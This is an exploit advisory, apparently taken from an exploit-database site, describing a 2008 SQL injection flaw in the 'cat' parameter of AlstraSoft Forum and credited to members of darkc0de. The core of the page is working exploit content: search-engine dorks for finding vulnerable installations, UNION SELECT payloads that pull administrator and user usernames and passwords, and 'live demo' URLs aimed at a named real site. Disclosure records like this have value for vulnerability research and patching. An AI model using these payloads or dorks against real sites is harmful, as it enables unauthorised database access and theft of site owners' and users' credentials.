Alstrasoft Forum (cat) Remote SQL Injection Vulnerability

2008.09.12
Credit: darkc0de
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

################################################################ # .___ __ _______ .___ # # __| _/____ _______| | __ ____ \ _ \ __| _/____ # # / __ |\__ \\_ __ \ |/ // ___\/ /_\ \ / __ |/ __ \ # # / /_/ | / __ \| | \/ <\ \___\ \_/ \/ /_/ \ ___/ # # \____ |(______/__| |__|_ \\_____>\_____ /\_____|\____\ # # \/ \/ \/ # # ___________ ______ _ __ # # _/ ___\_ __ \_/ __ \ \/ \/ / # # \ \___| | \/\ ___/\ / # # \___ >__| \___ >\/\_/ # # est.2007 \/ \/ forum.darkc0de.com # ################################################################ # --d3hydr8 - rsauron - baltazar - sinner_01 - C1c4Tr1Z - beenu# # --- QKrun1x - skillfaker - FeDeReR - Optyx - Nuclear # and all darkc0de members ---# ################################################################ # # Author: r45c4l and P47r1ck # # Home : www.darkc0de.com # # Email : r45c4l@hotmail.com, p47r1ckro[at]gmail[dot]com # # Share the c0de! # ################################################################ # # Exploit: Altrasoft Forum (cat) Remote SQL Injection Vulnerability # # # App Name: AlstraSoft Forum # # App Home: http://www.alstrasoft.com/ # # Dork: inurl:index.php?menu=showcat= # Dork2: Powered By AlstraSoft Forum Pay Per Post Exchange # # # # # # POC: For Admin id and pass # index.php?menu=showcat&cat=-1+union+all+select+1,concat(auser,0x3a,apass),3+from+admin-- # # P0C-2: For Users id and pass # index.php?menu=showcat&cat=-1+union+all+select+1,concat(username,0x3a,upass),3+from+users+limit+2,1-- # # Live Demo: (For admin) # # http://payperpostpro.com/index.php?menu=showcat&cat=-1+union+all+select+1,concat(auser,0x3a,apass),3+from+admin-- # # Live Demo: (For Users) # http://payperpostpro.com/index.php?menu=showcat&cat=-1+union+all+select+1,concat(username,0x3a,upass),3+from+users+limit+1,1-- # # # Admin panel is at http://site.com/admin ################################################################ # Vuln Discovered 7th Sep 2008


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top